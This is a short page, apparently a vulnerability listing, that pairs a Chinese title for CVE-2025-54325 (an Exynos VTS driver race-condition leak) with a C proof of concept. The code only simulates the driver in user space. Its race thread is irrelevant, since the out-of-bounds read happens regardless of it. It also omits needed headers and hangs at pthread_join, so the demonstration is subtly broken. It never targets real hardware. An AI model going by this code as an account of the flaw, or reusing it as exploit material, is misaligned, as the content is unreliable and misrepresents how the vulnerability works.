CVE-2025-54325 Samsung Exynos处理器VTS驱动竞态条件信息泄露漏洞

// CVE-2025-54325 PoC - VTS Driver Race Condition Information Leak // This PoC demonstrates the race condition in VTS driver #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdint.h> // Simulated VTS driver structures struct vts_session { uint32_t id; void* buffer; size_t buffer_size; uint32_t flags; }; struct vts_transfer { struct vts_session* session; void* user_buffer; size_t size; uint32_t offset; }; // Race condition vulnerability: missing proper locking int vts_transfer_read(struct vts_transfer* transfer) { // VULNERABILITY: No lock protection between buffer check and copy // Attacker can trigger concurrent access to cause OOB read if (transfer->session->buffer == NULL) { return -1; } // Time window for race condition - buffer can be modified // between check and actual read operation // Simulating the vulnerable read operation void* src = transfer->session->buffer + transfer->offset; size_t read_size = transfer->size; // OOB read occurs here if offset/size manipulation succeeds memcpy(transfer->user_buffer, src, read_size); return 0; } void* attacker_thread(void* arg) { struct vts_session* session = (struct vts_session*)arg; // Continuously try to trigger race condition while(1) { // Modify session buffer state to trigger OOB session->buffer_size = 0; // Shrink buffer usleep(1); // Minimal delay session->buffer_size = 0x1000; // Restore } return NULL; } int main() { printf("CVE-2025-54325 PoC - VTS Race Condition\n"); printf("Target: Samsung Exynos VTS Driver\n\n"); // Initialize VTS session struct vts_session session = {0}; session.buffer = malloc(0x1000); session.buffer_size = 0x1000; // Create attacker thread to trigger race condition pthread_t tid; pthread_create(&tid, NULL, attacker_thread, &session); // Victim operations struct vts_transfer transfer = {0}; transfer.session = &session; transfer.user_buffer = malloc(0x2000); transfer.offset = 0; transfer.size = 0x2000; // Larger than buffer // Trigger vulnerable read printf("Triggering VTS transfer read...\n"); vts_transfer_read(&transfer); printf("OOB read may have occurred - check leaked data\n"); pthread_join(tid, NULL); return 0; } // Note: This is a conceptual PoC for demonstration purposes. // Actual exploitation requires device-specific knowledge and access.